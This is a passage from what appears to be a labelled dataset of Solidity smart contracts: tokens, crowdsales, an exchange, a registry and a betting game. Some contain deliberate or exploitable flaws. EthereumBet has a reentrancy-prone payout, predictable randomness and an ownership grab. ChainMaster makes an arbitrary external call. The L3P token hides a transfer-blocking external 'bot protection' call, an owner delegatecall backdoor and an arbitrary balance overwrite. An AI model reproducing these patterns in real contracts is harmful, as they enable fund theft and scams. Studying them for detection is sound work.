deposit.amount = safeSub(deposit.amount, remainingToFulfill);
totalSellableDeposits = safeSub(totalSellableDeposits, remainingToFulfill);
ethToSend = safeDiv_dec(remainingToFulfill, usdToEthPrice);
if(!deposit.user.send(ethToSend)) {
fundsWallet.transfer(ethToSend);
emit NonPayableContract(deposit.user, ethToSend);
}
nomin.transfer(msg.sender, remainingToFulfill);
remainingToFulfill = 0;
} else if (deposit.amount <= remainingToFulfill) {
delete deposits[i];
depositStartIndex = safeAdd(depositStartIndex, 1);
totalSellableDeposits = safeSub(totalSellableDeposits, deposit.amount);
ethToSend = safeDiv_dec(deposit.amount, usdToEthPrice);
if(!deposit.user.send(ethToSend)) {
fundsWallet.transfer(ethToSend);
emit NonPayableContract(deposit.user, ethToSend);
}
nomin.transfer(msg.sender, deposit.amount);
remainingToFulfill = safeSub(remainingToFulfill, deposit.amount);
}
}
}
if (remainingToFulfill > 0) {
msg.sender.transfer(safeDiv_dec(remainingToFulfill, usdToEthPrice));
}
uint fulfilled = safeSub(requestedToPurchase, remainingToFulfill);
if (fulfilled > 0) {
emit Exchange("ETH", msg.value, "nUSD", fulfilled);
}
return fulfilled;
}
function exchangeEtherForNominsAtRate(uint guaranteedRate)
public
payable
pricesNotStale
notPaused
returns (uint)
{
require(guaranteedRate == usdToEthPrice);
return exchangeEtherForNomins();
}
function exchangeEtherForHavvens()
public
payable
pricesNotStale
notPaused
returns (uint)
{
uint havvensToSend = havvensReceivedForEther(msg.value);
fundsWallet.transfer(msg.value);
havven.transfer(msg.sender, havvensToSend);
emit Exchange("ETH", msg.value, "HAV", havvensToSend);
return havvensToSend;
}
function exchangeEtherForHavvensAtRate(uint guaranteedEtherRate, uint guaranteedHavvenRate)
public
payable
pricesNotStale
notPaused
returns (uint)
{
require(guaranteedEtherRate == usdToEthPrice);
require(guaranteedHavvenRate == usdToHavPrice);
return exchangeEtherForHavvens();
}
function exchangeNominsForHavvens(uint nominAmount)
public
pricesNotStale
notPaused
returns (uint)
{
uint havvensToSend = havvensReceivedForNomins(nominAmount);
nomin.transferFrom(msg.sender, fundsWallet, nominAmount);
havven.transfer(msg.sender, havvensToSend);
emit Exchange("nUSD", nominAmount, "HAV", havvensToSend);
return havvensToSend;
}
function exchangeNominsForHavvensAtRate(uint nominAmount, uint guaranteedRate)
public
pricesNotStale
notPaused
returns (uint)
{
require(guaranteedRate == usdToHavPrice);
return exchangeNominsForHavvens(nominAmount);
}
function withdrawHavvens(uint amount)
external
onlyOwner
{
havven.transfer(owner, amount);
}
function withdrawMyDepositedNomins()
external
{
uint nominsToSend = 0;
for (uint i = depositStartIndex; i < depositEndIndex; i++) {
nominDeposit memory deposit = deposits[i];
if (deposit.user == msg.sender) {
nominsToSend = safeAdd(nominsToSend, deposit.amount);
delete deposits[i];
}
}
totalSellableDeposits = safeSub(totalSellableDeposits, nominsToSend);
nominsToSend = safeAdd(nominsToSend, smallDeposits[msg.sender]);
smallDeposits[msg.sender] = 0;
require(nominsToSend > 0, "You have no deposits to withdraw.");
nomin.transfer(msg.sender, nominsToSend);
emit NominWithdrawal(msg.sender, nominsToSend);
}
function depositNomins(uint amount)
external
{
nomin.transferFrom(msg.sender, this, amount);
}
function tokenFallback(address from, uint amount, bytes data)
external
onlyNomin
returns (bool)
{
if (amount < minimumDepositAmount) {
smallDeposits[from] = safeAdd(smallDeposits[from], amount);
emit NominDepositNotAccepted(from, amount, minimumDepositAmount);
} else {
deposits[depositEndIndex] = nominDeposit({ user: from, amount: amount });
depositEndIndex = safeAdd(depositEndIndex, 1);
totalSellableDeposits = safeAdd(totalSellableDeposits, amount);
emit NominDeposit(from, amount);
}
}
function pricesAreStale()
public
view
returns (bool)
{
return safeAdd(lastPriceUpdateTime, priceStalePeriod) < now;
}
function havvensReceivedForNomins(uint amount)
public
view
returns (uint)
{
uint nominsReceived = nomin.amountReceived(amount);
return safeDiv_dec(nominsReceived, usdToHavPrice);
}
function havvensReceivedForEther(uint amount)
public
view
returns (uint)
{
uint valueSentInNomins = safeMul_dec(amount, usdToEthPrice);
return havvensReceivedForNomins(valueSentInNomins);
}
function nominsReceivedForEther(uint amount)
public
view
returns (uint)
{
uint nominsTransferred = safeMul_dec(amount, usdToEthPrice);
return nomin.amountReceived(nominsTransferred);
}
modifier onlyOracle
{
require(msg.sender == oracle, "Only the oracle can perform this action");
_;
}
modifier onlyNomin
{
require(msg.sender == address(nomin), "Only the nomin contract can perform this action");
_;
}
modifier pricesNotStale
{
require(!pricesAreStale(), "Prices must not be stale to perform this action");
_;
}
event FundsWalletUpdated(address newFundsWallet);
event OracleUpdated(address newOracle);
event NominUpdated(Nomin newNominContract);
event HavvenUpdated(Havven newHavvenContract);
event PriceStalePeriodUpdated(uint priceStalePeriod);
event PricesUpdated(uint newEthPrice, uint newHavvenPrice, uint timeSent);
event Exchange(string fromCurrency, uint fromAmount, string toCurrency, uint toAmount);
event NominWithdrawal(address user, uint amount);
event NominDeposit(address user, uint amount);
event NominDepositNotAccepted(address user, uint amount, uint minimum);
event MinimumDepositAmountUpdated(uint amount);
event NonPayableContract(address receiver, uint amount);
} | 0 | 602 |
pragma solidity ^0.4.16;
contract ERC20Interface {
uint public totalSupply;
function balanceOf(address _account) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value)
returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant
returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender,
uint _value);
}
contract Owned {
address public owner;
address public newOwner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
library SafeMath {
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
}
contract Administered is Owned {
mapping (address => bool) public administrators;
event AdminstratorAdded(address adminAddress);
event AdminstratorRemoved(address adminAddress);
modifier onlyAdministrator() {
require(administrators[msg.sender] || owner == msg.sender);
_;
}
function addAdministrators(address _adminAddress) onlyOwner {
administrators[_adminAddress] = true;
AdminstratorAdded(_adminAddress);
}
function removeAdministrators(address _adminAddress) onlyOwner {
delete administrators[_adminAddress];
AdminstratorRemoved(_adminAddress);
}
}
contract GazeBountyCoin is ERC20Interface, Administered {
using SafeMath for uint;
string public constant symbol = "GBC";
string public constant name = "Gaze Bounty Coin";
uint8 public constant decimals = 18;
uint public totalSupply = 0;
bool public sealed;
mapping(address => uint) balances;
mapping(address => mapping (address => uint)) allowed;
function GazeBountyCoin() Owned() {
}
function balanceOf(address _account) constant returns (uint balance) {
return balances[_account];
}
function transfer(address _to, uint _amount) returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]
) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function approve(
address _spender,
uint _amount
) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function transferFrom(
address _from,
address _to,
uint _amount
) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]
) {
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function allowance(
address _owner,
address _spender
) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function seal() onlyOwner {
require(!sealed);
sealed = true;
}
function mint(address _to, uint _amount) onlyAdministrator {
require(!sealed);
require(_to != 0x0);
require(_amount != 0);
balances[_to] = balances[_to].add(_amount);
totalSupply = totalSupply.add(_amount);
Transfer(0x0, _to, _amount);
}
function multiMint(address[] _to, uint[] _amount) onlyAdministrator {
require(!sealed);
require(_to.length != 0);
require(_to.length == _amount.length);
for (uint i = 0; i < _to.length; i++) {
require(_to[i] != 0x0);
require(_amount[i] != 0);
balances[_to[i]] = balances[_to[i]].add(_amount[i]);
totalSupply = totalSupply.add(_amount[i]);
Transfer(0x0, _to[i], _amount[i]);
}
}
function () {
}
function transferAnyERC20Token(address tokenAddress, uint amount)
onlyOwner returns (bool success)
{
return ERC20Interface(tokenAddress).transfer(owner, amount);
}
} | 1 | 3,333 |
pragma solidity ^0.4.13;
contract token {
function transfer(address _to, uint256 _value);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract Crowdsale {
token public sharesTokenAddress;
uint public startICO = 1505761200;
uint public periodICO;
uint public stopICO;
uint public price = 0.0035 * 1 ether;
uint coeff = 200000;
uint256 public tokenSold = 0;
uint256 public tokenFree = 0;
bool public crowdsaleClosed = false;
address public owner;
event TokenFree(uint256 value);
event CrowdsaleClosed(bool value);
function Crowdsale(address _tokenAddress, address _owner, uint _timePeriod) {
owner = _owner;
sharesTokenAddress = token(_tokenAddress);
periodICO = _timePeriod * 1 hours;
stopICO = startICO + periodICO;
}
function() payable {
tokenFree = sharesTokenAddress.balanceOf(this);
if (now < startICO) {
msg.sender.transfer(msg.value);
}
else if (now > (stopICO + 1)) {
msg.sender.transfer(msg.value);
crowdsaleClosed = true;
}
else if (crowdsaleClosed) {
msg.sender.transfer(msg.value);
}
else {
uint256 tokenToBuy = msg.value / price * coeff;
require(tokenToBuy > 0);
uint256 actualETHTransfer = tokenToBuy * price / coeff;
if (tokenFree >= tokenToBuy) {
owner.transfer(actualETHTransfer);
if (msg.value > actualETHTransfer){
msg.sender.transfer(msg.value - actualETHTransfer);
}
sharesTokenAddress.transfer(msg.sender, tokenToBuy);
tokenSold += tokenToBuy;
tokenFree -= tokenToBuy;
if(tokenFree==0) crowdsaleClosed = true;
} else {
uint256 sendETH = tokenFree * price / coeff;
owner.transfer(sendETH);
sharesTokenAddress.transfer(msg.sender, tokenFree);
msg.sender.transfer(msg.value - sendETH);
tokenSold += tokenFree;
tokenFree = 0;
crowdsaleClosed = true;
}
}
TokenFree(tokenFree);
CrowdsaleClosed(crowdsaleClosed);
}
function unsoldTokensBack(){
require(crowdsaleClosed);
require(msg.sender == owner);
sharesTokenAddress.transfer(owner, sharesTokenAddress.balanceOf(this));
tokenFree = 0;
}
} | 1 | 2,995 |
pragma solidity ^0.4.20;
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(balances[_to] + _value > balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(balances[_to] + _value > balances[_to]);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract ChainMaster is StandardToken {
function () {
revert();
}
string public name = "链大师";
uint8 public decimals = 18;
string public symbol = "链大师";
string public version = 'v0.1';
address public founder;
function ChainMaster() {
founder = msg.sender;
totalSupply = 3141592653 * 10 ** uint256(decimals);
balances[founder] = totalSupply;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert(); }
return true;
}
function approveAndCallcode(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(_extraData)) { revert(); }
return true;
}
} | 1 | 3,080 |
pragma solidity ^0.4.24;
contract EthereumBet{
address gameOwner = address(0);
bool locked = false;
function bet() payable
{
if ((random()%2==1) && (msg.value == 1 ether) && (!locked))
{
if (!msg.sender.call.value(2 ether)())
throw;
}
}
function lock()
{
if (gameOwner==msg.sender)
{
locked = true;
}
}
function unlock()
{
if (gameOwner==msg.sender)
{
locked = false;
}
}
function own(address owner)
{
if ((gameOwner == address(0)) || (gameOwner == msg.sender))
{
gameOwner = owner;
}
}
function releaseFunds(uint amount)
{
if (gameOwner==msg.sender)
{
if (!msg.sender.call.value( amount * (1 ether))())
throw;
}
}
function random() view returns (uint8) {
return uint8(uint256(keccak256(block.timestamp, block.difficulty))%256);
}
function () public payable
{
bet();
}
} | 1 | 3,880 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Token is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 13000000000000000000000000;
string public name = "lepricon.io";
string public symbol = "L3P";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,566 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner,address indexed newOwner);
constructor() public { owner = msg.sender; }
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Destructible is Ownable {
function selfDestruct() public onlyOwner {
selfdestruct(owner);
}
}
contract ZapCoordinatorInterface is Ownable {
function addImmutableContract(string contractName, address newAddress) external;
function updateContract(string contractName, address newAddress) external;
function getContractName(uint index) public view returns (string);
function getContract(string contractName) public view returns (address);
function updateAllDependencies() external;
}
pragma solidity ^0.4.24;
contract Upgradable {
address coordinatorAddr;
ZapCoordinatorInterface coordinator;
constructor(address c) public{
coordinatorAddr = c;
coordinator = ZapCoordinatorInterface(c);
}
function updateDependencies() external coordinatorOnly {
_updateDependencies();
}
function _updateDependencies() internal;
modifier coordinatorOnly() {
require(msg.sender == coordinatorAddr, "Error: Coordinator Only Function");
_;
}
}
contract DatabaseInterface is Ownable {
function setStorageContract(address _storageContract, bool _allowed) public;
function getBytes32(bytes32 key) external view returns(bytes32);
function setBytes32(bytes32 key, bytes32 value) external;
function getNumber(bytes32 key) external view returns(uint256);
function setNumber(bytes32 key, uint256 value) external;
function getBytes(bytes32 key) external view returns(bytes);
function setBytes(bytes32 key, bytes value) external;
function getString(bytes32 key) external view returns(string);
function setString(bytes32 key, string value) external;
function getBytesArray(bytes32 key) external view returns (bytes32[]);
function getBytesArrayIndex(bytes32 key, uint256 index) external view returns (bytes32);
function getBytesArrayLength(bytes32 key) external view returns (uint256);
function pushBytesArray(bytes32 key, bytes32 value) external;
function setBytesArrayIndex(bytes32 key, uint256 index, bytes32 value) external;
function setBytesArray(bytes32 key, bytes32[] value) external;
function getIntArray(bytes32 key) external view returns (int[]);
function getIntArrayIndex(bytes32 key, uint256 index) external view returns (int);
function getIntArrayLength(bytes32 key) external view returns (uint256);
function pushIntArray(bytes32 key, int value) external;
function setIntArrayIndex(bytes32 key, uint256 index, int value) external;
function setIntArray(bytes32 key, int[] value) external;
function getAddressArray(bytes32 key) external view returns (address[]);
function getAddressArrayIndex(bytes32 key, uint256 index) external view returns (address);
function getAddressArrayLength(bytes32 key) external view returns (uint256);
function pushAddressArray(bytes32 key, address value) external;
function setAddressArrayIndex(bytes32 key, uint256 index, address value) external;
function setAddressArray(bytes32 key, address[] value) external;
}
contract RegistryInterface {
function initiateProvider(uint256, bytes32) public returns (bool);
function initiateProviderCurve(bytes32, int256[], address) public returns (bool);
function setEndpointParams(bytes32, bytes32[]) public;
function getEndpointParams(address, bytes32) public view returns (bytes32[]);
function getProviderPublicKey(address) public view returns (uint256);
function getProviderTitle(address) public view returns (bytes32);
function setProviderParameter(bytes32, bytes) public;
function setProviderTitle(bytes32) public;
function clearEndpoint(bytes32) public;
function getProviderParameter(address, bytes32) public view returns (bytes);
function getAllProviderParams(address) public view returns (bytes32[]);
function getProviderCurveLength(address, bytes32) public view returns (uint256);
function getProviderCurve(address, bytes32) public view returns (int[]);
function isProviderInitiated(address) public view returns (bool);
function getAllOracles() external view returns (address[]);
function getProviderEndpoints(address) public view returns (bytes32[]);
function getEndpointBroker(address, bytes32) public view returns (address);
}
contract Registry is Destructible, RegistryInterface, Upgradable {
event NewProvider(
address indexed provider,
bytes32 indexed title
);
event NewCurve(
address indexed provider,
bytes32 indexed endpoint,
int[] curve,
address indexed broker
);
DatabaseInterface public db;
constructor(address c) Upgradable(c) public {
_updateDependencies();
}
function _updateDependencies() internal {
address databaseAddress = coordinator.getContract("DATABASE");
db = DatabaseInterface(databaseAddress);
}
function initiateProvider(
uint256 publicKey,
bytes32 title
)
public
returns (bool)
{
require(!isProviderInitiated(msg.sender), "Error: Provider is already initiated");
createOracle(msg.sender, publicKey, title);
addOracle(msg.sender);
emit NewProvider(msg.sender, title);
return true;
}
function initiateProviderCurve(
bytes32 endpoint,
int256[] curve,
address broker
)
returns (bool)
{
require(isProviderInitiated(msg.sender), "Error: Provider is not yet initiated");
require(getCurveUnset(msg.sender, endpoint), "Error: Curve is already set");
require(endpoint != bytes32(0), "Error: Can't initiate null endpoint");
setCurve(msg.sender, endpoint, curve);
db.pushBytesArray(keccak256(abi.encodePacked('oracles', msg.sender, 'endpoints')), endpoint);
db.setBytes32(keccak256(abi.encodePacked('oracles', msg.sender, endpoint, 'broker')), bytes32(broker));
emit NewCurve(msg.sender, endpoint, curve, broker);
return true;
}
function setProviderParameter(bytes32 key, bytes value) public {
require(isProviderInitiated(msg.sender), "Error: Provider is not yet initiated");
if(!isProviderParamInitialized(msg.sender, key)){
db.setNumber(keccak256(abi.encodePacked('oracles', msg.sender, 'is_param_set', key)), 1);
db.pushBytesArray(keccak256(abi.encodePacked('oracles', msg.sender, 'providerParams')), key);
}
db.setBytes(keccak256(abi.encodePacked('oracles', msg.sender, 'providerParams', key)), value);
}
function getProviderParameter(address provider, bytes32 key) public view returns (bytes){
require(isProviderInitiated(provider), "Error: Provider is not yet initiated");
require(isProviderParamInitialized(provider, key), "Error: Provider Parameter is not yet initialized");
return db.getBytes(keccak256(abi.encodePacked('oracles', provider, 'providerParams', key)));
}
function getAllProviderParams(address provider) public view returns (bytes32[]){
require(isProviderInitiated(provider), "Error: Provider is not yet initiated");
return db.getBytesArray(keccak256(abi.encodePacked('oracles', provider, 'providerParams')));
}
function setEndpointParams(bytes32 endpoint, bytes32[] endpointParams) public {
require(isProviderInitiated(msg.sender), "Error: Provider is not yet initialized");
require(!getCurveUnset(msg.sender, endpoint), "Error: Curve is not yet set");
db.setBytesArray(keccak256(abi.encodePacked('oracles', msg.sender, 'endpointParams', endpoint)), endpointParams);
}
function setProviderTitle(bytes32 title) public {
require(isProviderInitiated(msg.sender), "Error: Provider is not initiated");
db.setBytes32(keccak256(abi.encodePacked('oracles', msg.sender, "title")), title);
}
function clearEndpoint(bytes32 endpoint) public {
require(isProviderInitiated(msg.sender), "Error: Provider is not initiated");
uint256 bound = db.getNumber(keccak256(abi.encodePacked('totalBound', msg.sender, endpoint)));
require(bound == 0, "Error: Endpoint must have no bonds");
int256[] memory nullArray = new int256[](0);
bytes32[] memory endpoints = db.getBytesArray(keccak256(abi.encodePacked("oracles", msg.sender, "endpoints")));
for(uint256 i = 0; i < endpoints.length; i++) {
if( endpoints[i] == endpoint ) {
db.setBytesArrayIndex(keccak256(abi.encodePacked("oracles", msg.sender, "endpoints")), i, bytes32(0));
break;
}
}
db.pushBytesArray(keccak256(abi.encodePacked('oracles', msg.sender, 'endpoints')), bytes32(0));
db.setBytes32(keccak256(abi.encodePacked('oracles', msg.sender, endpoint, 'broker')), bytes32(0));
db.setIntArray(keccak256(abi.encodePacked('oracles', msg.sender, 'curves', endpoint)), nullArray);
}
function getProviderPublicKey(address provider) public view returns (uint256) {
return getPublicKey(provider);
}
function getProviderTitle(address provider) public view returns (bytes32) {
return getTitle(provider);
}
function getProviderCurve(
address provider,
bytes32 endpoint
)
public
view
returns (int[])
{
require(!getCurveUnset(provider, endpoint), "Error: Curve is not yet set");
return db.getIntArray(keccak256(abi.encodePacked('oracles', provider, 'curves', endpoint)));
}
function getProviderCurveLength(address provider, bytes32 endpoint) public view returns (uint256){
require(!getCurveUnset(provider, endpoint), "Error: Curve is not yet set");
return db.getIntArray(keccak256(abi.encodePacked('oracles', provider, 'curves', endpoint))).length;
}
function isProviderInitiated(address oracleAddress) public view returns (bool) {
return getProviderTitle(oracleAddress) != 0;
}
function getPublicKey(address provider) public view returns (uint256) {
return db.getNumber(keccak256(abi.encodePacked("oracles", provider, "publicKey")));
}
function getTitle(address provider) public view returns (bytes32) {
return db.getBytes32(keccak256(abi.encodePacked("oracles", provider, "title")));
}
function getProviderEndpoints(address provider) public view returns (bytes32[]) {
return db.getBytesArray(keccak256(abi.encodePacked("oracles", provider, "endpoints")));
}
function getEndpointParams(address provider, bytes32 endpoint) public view returns (bytes32[]) {
return db.getBytesArray(keccak256(abi.encodePacked('oracles', provider, 'endpointParams', endpoint)));
}
function getEndpointBroker(address oracleAddress, bytes32 endpoint) public view returns (address) {
return address(db.getBytes32(keccak256(abi.encodePacked('oracles', oracleAddress, endpoint, 'broker'))));
}
function getCurveUnset(address provider, bytes32 endpoint) public view returns (bool) {
return db.getIntArrayLength(keccak256(abi.encodePacked('oracles', provider, 'curves', endpoint))) == 0;
}
function getOracleAddress(uint256 index) public view returns (address) {
return db.getAddressArrayIndex(keccak256(abi.encodePacked('oracleIndex')), index);
}
function getAllOracles() external view returns (address[]) {
return db.getAddressArray(keccak256(abi.encodePacked('oracleIndex')));
}
function createOracle(address provider, uint256 publicKey, bytes32 title) private {
db.setNumber(keccak256(abi.encodePacked('oracles', provider, "publicKey")), uint256(publicKey));
db.setBytes32(keccak256(abi.encodePacked('oracles', provider, "title")), title);
}
function addOracle(address provider) private {
db.pushAddressArray(keccak256(abi.encodePacked('oracleIndex')), provider);
}
function setCurve(
address provider,
bytes32 endpoint,
int[] curve
)
private
{
uint prevEnd = 1;
uint index = 0;
while ( index < curve.length ) {
int len = curve[index];
require(len > 0, "Error: Invalid Curve");
uint endIndex = index + uint(len) + 1;
require(endIndex < curve.length, "Error: Invalid Curve");
int end = curve[endIndex];
require(uint(end) > prevEnd, "Error: Invalid Curve");
prevEnd = uint(end);
index += uint(len) + 2;
}
db.setIntArray(keccak256(abi.encodePacked('oracles', provider, 'curves', endpoint)), curve);
}
function isProviderParamInitialized(address provider, bytes32 key) private view returns (bool){
uint256 val = db.getNumber(keccak256(abi.encodePacked('oracles', provider, 'is_param_set', key)));
return (val == 1) ? true : false;
}
} | 1 | 4,184 |
pragma solidity ^0.4.20;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
